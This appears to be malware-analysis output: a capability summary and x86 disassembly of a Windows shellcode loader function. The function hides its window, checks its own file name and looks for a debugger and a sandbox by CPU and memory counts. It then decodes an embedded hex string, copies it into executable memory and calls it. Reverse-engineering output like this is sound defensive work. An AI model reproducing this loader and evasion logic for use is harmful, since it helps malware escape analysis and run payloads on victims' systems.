Function at 0x401070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get memory capacity
Get system information on windows
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7c
mov eax, dword [0x404004]
xor eax, esp
mov dword [esp + 0x78], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.y4.exe
push dword [esi]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x4010b7
push str.Whats_my_name__:__n
jmp 0x4013a0
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4010cb
push str.attached_debugger_detected_:__n
jmp 0x4013a0
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [esp + 0x74], 2
jb 0x40139b
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
shrd ecx, eax, 0x1e
cmp ecx, 2
jb 0x40139b
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push 0x5f5e100
call ebx
mov esi, eax
add esp, 4
test esi, esi
je 0x401387
push 0x5f5e100
push 0
push esi
call sub.VCRUNTIME140.dll_memset
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, 0x404018
add esp, 0x10
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401142
sub esi, ecx
imul edi, esi, 0x2c7
push edi
call ebx
mov ebx, eax
add esp, 4
mov dword [esp + 0x18], ebx
test ebx, ebx
jne 0x401182
push str.out_of_memory
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 8
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
test edi, edi
je 0x401192
push edi
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
push 0x404018
push ebx
call sub.VCRUNTIME140.dll_memcpy
mov edi, ebx
add esp, 0xc
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x4011a6
sub edi, ecx
lea eax, [esi + 1]
xor ecx, ecx
mov dword [esp + 0x1c], eax
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
call edi
mov esi, ebx
mov dword [esp + 0x18], eax
add esp, 8
lea eax, [esi + 1]
nop dword [eax]
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x4011e0
sub esi, eax
xor ecx, ecx
mov eax, dword [esp + 0x1c]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
push esi
call edi
mov dl, byte [ebx]
add esp, 8
mov esi, eax
xor edi, edi
mov dword [esp + 0x14], esi
test dl, dl
je 0x4012ca
mov cl, byte [edi + ebx + 1]
mov bl, 0x18
movsx eax, dl
mov dl, 0x18
imul eax, eax, 0x33
sub dl, al
mov eax, dword [esp + 0x10]
and dl, 0x7f
mov byte [edi + eax], dl
movsx eax, cl
imul eax, eax, 0x33
sub bl, al
mov eax, dword [esp + 0x10]
and bl, 0x7f
mov byte [edi + eax + 1], bl
mov eax, esi
lea ecx, [eax + 1]
mov dword [esp + 0x14], ecx
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401250
sub eax, dword [esp + 0x14]
movzx ecx, bl
add eax, esi
push ecx
movzx ecx, dl
push ecx
push str._c_c
push eax
call fcn.00401040
mov eax, dword [esp + 0x2c]
xor ecx, ecx
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
push dword [esp + 0x24]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov dword [esp + 0x28], eax
xor ecx, ecx
mov eax, dword [esp + 0x34]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov ebx, dword [esp + 0x38]
add edi, 2
add esp, 0x20
mov esi, eax
mov dl, byte [edi + ebx]
test dl, dl
jne 0x401216
mov dword [esp + 0x14], eax
push dword [esp + 0x10]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ebx, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
lea eax, [esp + 0x20]
push 0x10
push eax
push esi
call ebx
mov edx, esi
mov edi, eax
add esp, 0x10
lea eax, [edx + 1]
nop
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4012f0
sub edx, eax
push 1
push edx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
add esp, 8
mov dword [esp + 0x18], eax
mov esi, eax
nop dword [eax + eax]
push edi
push 0x403138
push esi
call fcn.00401040
push 0x10
lea eax, [esp + 0x2c]
inc esi
push eax
push dword [esp + 0x30]
call ebx
mov edi, eax
add esp, 0x18
test edi, edi
jne 0x401310
push dword [esp + 0x14]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [esp + 0x1c]
add esp, 4
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401350
push 0x40
push 0x1000
sub ecx, edx
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401370
sub eax, edx
dec eax
push eax
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call edi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x78]
xor ecx, esp
call fcn.004013c2
mov esp, ebp
pop ebp
ret
push str.possibly_launched_in_sandbox_:__n
call fcn.00401040
mov ecx, dword [esp + 0x88]
add esp, 4
mov eax, 0xfffffffe
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004013c2
mov esp, ebp
pop ebp
ret